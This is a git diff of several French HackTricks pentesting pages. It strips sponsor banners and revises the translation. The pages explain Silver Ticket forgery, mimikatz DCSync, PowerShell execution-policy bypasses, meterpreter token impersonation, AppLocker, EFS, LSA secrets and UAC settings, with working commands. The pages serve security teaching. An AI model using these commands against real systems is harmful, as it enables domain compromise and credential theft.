propos des [**tickets de service disponibles ici**](silver-ticket.md - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 9ba4575b3..c926050e1 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -2,15 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Silver ticket -L'attaque **Silver Ticket** implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur **l'acquisition du hash NTLM d'un compte de service**, tel qu'un compte d'ordinateur, pour forger un ticket de service de ticket (TGS). Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, **usurpant n'importe quel utilisateur**, visant généralement des privilèges administratifs. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sécurisée et moins détectable. +L'attaque **Silver Ticket** implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur **l'acquisition du hachage NTLM d'un compte de service**, tel qu'un compte d'ordinateur, pour forger un ticket de service de délivrance de tickets (TGS). Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, **impostant n'importe quel utilisateur**, visant généralement des privilèges administratifs. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sécurisée et moins détectable. Pour la création de tickets, différents outils sont utilisés en fonction du système d'exploitation : @@ -36,22 +32,22 @@ Le service CIFS est mis en avant comme une cible courante pour accéder au syst ## Services Disponibles -| Type de Service | Tickets Argent Service | -| ------------------------------------------ | -------------------------------------------------------------------------- | -| WMI |

HOST

RPCSS

| +| Type de Service | Tickets Silver de Service | +| ------------------------------------------ | ------------------------------------------------------------------------ | +| WMI |

HOST

RPCSS

| | PowerShell Remoting |

HOST

HTTP

Selon le système d'exploitation également :

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

Dans certaines occasions, vous pouvez simplement demander : WINRM

| -| Tâches Planifiées | HOST | -| Partage de Fichiers Windows, aussi psexec | CIFS | -| Opérations LDAP, y compris DCSync | LDAP | -| Outils d'Administration de Serveur à Distance Windows |

RPCSS

LDAP

CIFS

| -| Tickets en Or | krbtgt | +| Tâches Planifiées | HOST | +| Partage de Fichiers Windows, aussi psexec | CIFS | +| Opérations LDAP, y compris DCSync | LDAP | +| Outils d'Administration de Serveur à Distance Windows |

RPCSS

LDAP

CIFS

| +| Golden Tickets | krbtgt | En utilisant **Rubeus**, vous pouvez **demander tous** ces tickets en utilisant le paramètre : - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### IDs d'Événements des Tickets Argent +### IDs d'Événements des Tickets Silver - 4624 : Connexion de Compte - 4634 : Déconnexion de Compte @@ -63,7 +59,7 @@ Dans les exemples suivants, imaginons que le ticket est récupéré en usurpant ### CIFS -Avec ce ticket, vous pourrez accéder au dossier `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant juste en faisant quelque chose comme : +Avec ce ticket, vous serez en mesure d'accéder au dossier `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et de copier des fichiers vers une partie du système de fichiers distant juste en faisant quelque chose comme : ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ @@ -139,10 +135,6 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc dcsync.md {{#endref}} -
-**Conseil sur les bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 8fb2a6259..434bebbd8 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -2,18 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## Politique AppLocker Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins commerciaux spécifiques d'une organisation. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et fichiers les utilisateurs peuvent exécuter**. Elle fournit un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\ Il est courant que les organisations **bloquent cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**. ### Vérifier @@ -27,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Ce chemin de registre contient les configurations et politiques appliquées par AppLocker, fournissant un moyen de revoir l'ensemble actuel des règles appliquées sur le système : +Ce chemin de registre contient les configurations et les politiques appliquées par AppLocker, fournissant un moyen de revoir l'ensemble actuel des règles appliquées sur le système : - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` @@ -110,7 +103,7 @@ sc query windefend ``` ## Système de fichiers chiffré (EFS) -EFS sécurise les fichiers grâce au chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le $EFS **flux de données alternatif** du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS sécurise les fichiers par le biais du chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le **flux de données alternatif** $EFS du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System). **Scénarios de déchiffrement sans initiation de l'utilisateur** incluent : @@ -137,7 +130,7 @@ Vous pouvez également utiliser `cipher /e` et `cipher /d` dans un dossier pour #### Être l'Autorité Système -Cette méthode nécessite que l'**utilisateur victime** soit **en train d'exécuter** un **processus** à l'intérieur de l'hôte. Si c'est le cas, en utilisant une session `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur. +Cette méthode nécessite que l'**utilisateur victime** exécute un **processus** à l'intérieur de l'hôte. Si c'est le cas, en utilisant une session `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur. #### Connaître le mot de passe de l'utilisateur @@ -167,15 +160,15 @@ Aussi, consultez cette [page web](https://cube0x0.github.io/Relaying-for-gMSA/) ## LAPS -La **Solution de Mot de Passe d'Administrateur Local (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe d'administrateur local. Ces mots de passe, qui sont **randomisés**, uniques, et **changement régulier**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la capacité de lire les mots de passe d'administrateur local est fournie. +La **Local Administrator Password Solution (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe des administrateurs locaux. Ces mots de passe, qui sont **randomisés**, uniques et **régulièrement changés**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la capacité de lire les mots de passe des administrateurs locaux est fournie. {{#ref}} active-directory-methodology/laps.md {{#endref}} -## Mode de Langage Contraint PS +## PS Constrained Language Mode -PowerShell [**Mode de Langage Contraint**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des objets COM, n'autorisant que les types .NET approuvés, les flux de travail basés sur XAML, les classes PowerShell, et plus encore. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore. ### **Vérifiez** ```powershell @@ -202,7 +195,7 @@ Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/Po ## Politique d'exécution PS -Par défaut, elle est définie sur **restricted.** Principales façons de contourner cette politique : +Par défaut, elle est définie sur **restreinte.** Principales façons de contourner cette politique : ```powershell 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -222,15 +215,15 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Plus d'informations peuvent être trouvées [ici](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Interface de Fournisseur de Support de Sécurité (SSPI) +## Interface de fournisseur de support de sécurité (SSPI) -C'est l'API qui peut être utilisée pour authentifier les utilisateurs. +Est l'API qui peut être utilisée pour authentifier les utilisateurs. -Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de Support de Sécurité (SSP), se trouvent à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer. +Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de support de sécurité (SSP), sont situés à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer. -### Principaux SSPs +### Principaux SSP - **Kerberos** : Le préféré - %windir%\Windows\System32\kerberos.dll @@ -240,27 +233,18 @@ Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui sou - %windir%\Windows\System32\Wdigest.dll - **Schannel** : SSL et TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant le par défaut) +- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM étant Kerberos le protocole par défaut) - %windir%\Windows\System32\lsasrv.dll #### La négociation pourrait offrir plusieurs méthodes ou seulement une. -## UAC - Contrôle de Compte Utilisateur +## UAC - Contrôle de compte utilisateur -[Le Contrôle de Compte Utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **invite de consentement pour des activités élevées**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet un **message de consentement pour des activités élevées**. {{#ref}} windows-security-controls/uac-user-account-control.md {{#endref}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ---- {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index f1df302e7..cbdb69d52 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -2,16 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## Politique AppLocker -Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins commerciaux spécifiques d'une organisation. +Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins spécifiques d'une organisation. [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et fichiers les utilisateurs peuvent exécuter**. Elle fournit un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\ Il est courant que les organisations **bloquent cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**. @@ -59,13 +52,13 @@ Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce **LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **authentification**, **jetons d'accès**...\ LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communiquera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine. -Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrables. +Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrés. ### Secrets LSA LSA pourrait enregistrer sur disque certains identifiants : -- Mot de passe du compte ordinateur de l'Active Directory (contrôleur de domaine inaccessible). +- Mot de passe du compte d'ordinateur de l'Active Directory (contrôleur de domaine inaccessible). - Mots de passe des comptes de services Windows - Mots de passe pour les tâches planifiées - Plus (mot de passe des applications IIS...) @@ -110,7 +103,7 @@ sc query windefend ``` ## Système de fichiers chiffré (EFS) -EFS sécurise les fichiers grâce au chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le **flux de données alternatif** $EFS du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS sécurise les fichiers par le biais du chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le **flux de données alternatif** $EFS du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System). **Scénarios de déchiffrement sans initiation de l'utilisateur** incluent : @@ -123,7 +116,7 @@ Cette méthode de chiffrement permet un **accès transparent** aux fichiers chif - EFS utilise un FEK symétrique, chiffré avec la clé publique de l'utilisateur. - Le déchiffrement utilise la clé privée de l'utilisateur pour accéder au FEK. -- Le déchiffrement automatique se produit dans des conditions spécifiques, comme le copier sur FAT32 ou la transmission réseau. +- Le déchiffrement automatique se produit dans des conditions spécifiques, comme la copie vers FAT32 ou la transmission sur le réseau. - Les fichiers chiffrés sont accessibles au propriétaire sans étapes supplémentaires. ### Vérifier les informations EFS @@ -137,7 +130,7 @@ Vous pouvez également utiliser `cipher /e` et `cipher /d` dans un dossier pour #### Être l'Autorité Système -Cette méthode nécessite que l'**utilisateur victime** exécute un **processus** à l'intérieur de l'hôte. Si c'est le cas, en utilisant une session `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur. +Cette méthode nécessite que l'**utilisateur victime** soit **en train d'exécuter** un **processus** à l'intérieur de l'hôte. Si c'est le cas, en utilisant une session `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur. #### Connaître le mot de passe de l'utilisateur @@ -167,7 +160,7 @@ Aussi, consultez cette [page web](https://cube0x0.github.io/Relaying-for-gMSA/) ## LAPS -La **Local Administrator Password Solution (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe des administrateurs locaux. Ces mots de passe, qui sont **randomisés**, uniques et **régulièrement changés**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la possibilité de lire les mots de passe des administrateurs locaux est fournie. +La **Local Administrator Password Solution (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe des administrateurs locaux. Ces mots de passe, qui sont **randomisés**, uniques et **régulièrement changés**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la capacité de lire les mots de passe des administrateurs locaux est fournie. {{#ref}} ../active-directory-methodology/laps.md @@ -175,7 +168,7 @@ La **Local Administrator Password Solution (LAPS)**, disponible en téléchargem ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore. ### **Vérifiez** ```powershell @@ -228,9 +221,9 @@ Plus d'informations peuvent être trouvées [ici](https://blog.netspi.com/15-way C'est l'API qui peut être utilisée pour authentifier les utilisateurs. -Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de support de sécurité (SSP), se trouvent à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer. +Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de support de sécurité (SSP), sont situés à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer. -### Principaux SSP +### Principaux SSPs - **Kerberos** : Le préféré - %windir%\Windows\System32\kerberos.dll @@ -240,27 +233,17 @@ Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui sou - %windir%\Windows\System32\Wdigest.dll - **Schannel** : SSL et TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant le par défaut) +- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM étant Kerberos le protocole par défaut) - %windir%\Windows\System32\lsasrv.dll -#### La négociation peut offrir plusieurs méthodes ou seulement une. +#### La négociation pourrait offrir plusieurs méthodes ou seulement une. -## UAC - Contrôle de compte utilisateur +## UAC - Contrôle de compte d'utilisateur -[Le contrôle de compte utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **invite de consentement pour des activités élevées**. +[Le contrôle de compte d'utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **invite de consentement pour des activités élevées**. {{#ref}} uac-user-account-control.md {{#endref}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ---- - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index 34b1ea686..a762662fa 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## UAC [Le Contrôle de Compte Utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **demande de consentement pour des activités élevées**. Les applications ont différents niveaux d'`intégrité`, et un programme avec un **niveau élevé** peut effectuer des tâches qui **pourraient potentiellement compromettre le système**. Lorsque l'UAC est activé, les applications et les tâches s'exécutent toujours **sous le contexte de sécurité d'un compte non administrateur** à moins qu'un administrateur n'autorise explicitement ces applications/tâches à avoir un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de commodité qui protège les administrateurs des modifications non intentionnelles mais n'est pas considérée comme une frontière de sécurité. @@ -27,9 +20,9 @@ Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protecti | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | | [Contrôle de Compte Utilisateur : Mode d'Approbation Admin pour le compte Administrateur intégré](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Désactivé | | [Contrôle de Compte Utilisateur : Autoriser les applications UIAccess à demander une élévation sans utiliser le bureau sécurisé](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Désactivé | -| [Contrôle de Compte Utilisateur : Comportement de la demande d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Demander le consentement pour les binaires non-Windows | -| [Contrôle de Compte Utilisateur : Comportement de la demande d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Demander des identifiants sur le bureau sécurisé | -| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (par défaut pour les particuliers) Désactivé (par défaut pour les entreprises) | +| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Demander le consentement pour les binaires non-Windows | +| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Demander des identifiants sur le bureau sécurisé | +| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (par défaut pour les foyers) Désactivé (par défaut pour les entreprises) | | [Contrôle de Compte Utilisateur : Élever uniquement les exécutables qui sont signés et validés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Désactivé | | [Contrôle de Compte Utilisateur : Élever uniquement les applications UIAccess qui sont installées dans des emplacements sécurisés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Activé | | [Contrôle de Compte Utilisateur : Exécuter tous les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Activé | @@ -53,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Si c'est **`1`**, alors UAC est **activé**. Si c'est **`0`** ou qu'il **n'existe pas**, alors UAC est **inactif**. +Si c'est **`1`**, alors UAC est **activé**, si c'est **`0`** ou s'il **n'existe pas**, alors UAC est **inactif**. Ensuite, vérifiez **quel niveau** est configuré : ``` @@ -64,13 +57,13 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` - Si **`0`**, alors, UAC ne demandera pas (comme **désactivé**) - Si **`1`**, l'administrateur est **demandé pour le nom d'utilisateur et le mot de passe** pour exécuter le binaire avec des droits élevés (sur le Bureau Sécurisé) -- Si **`2`** (**Toujours me notifier**) UAC demandera toujours une confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé) +- Si **`2`** (**Toujours me notifier**) UAC demandera toujours confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau 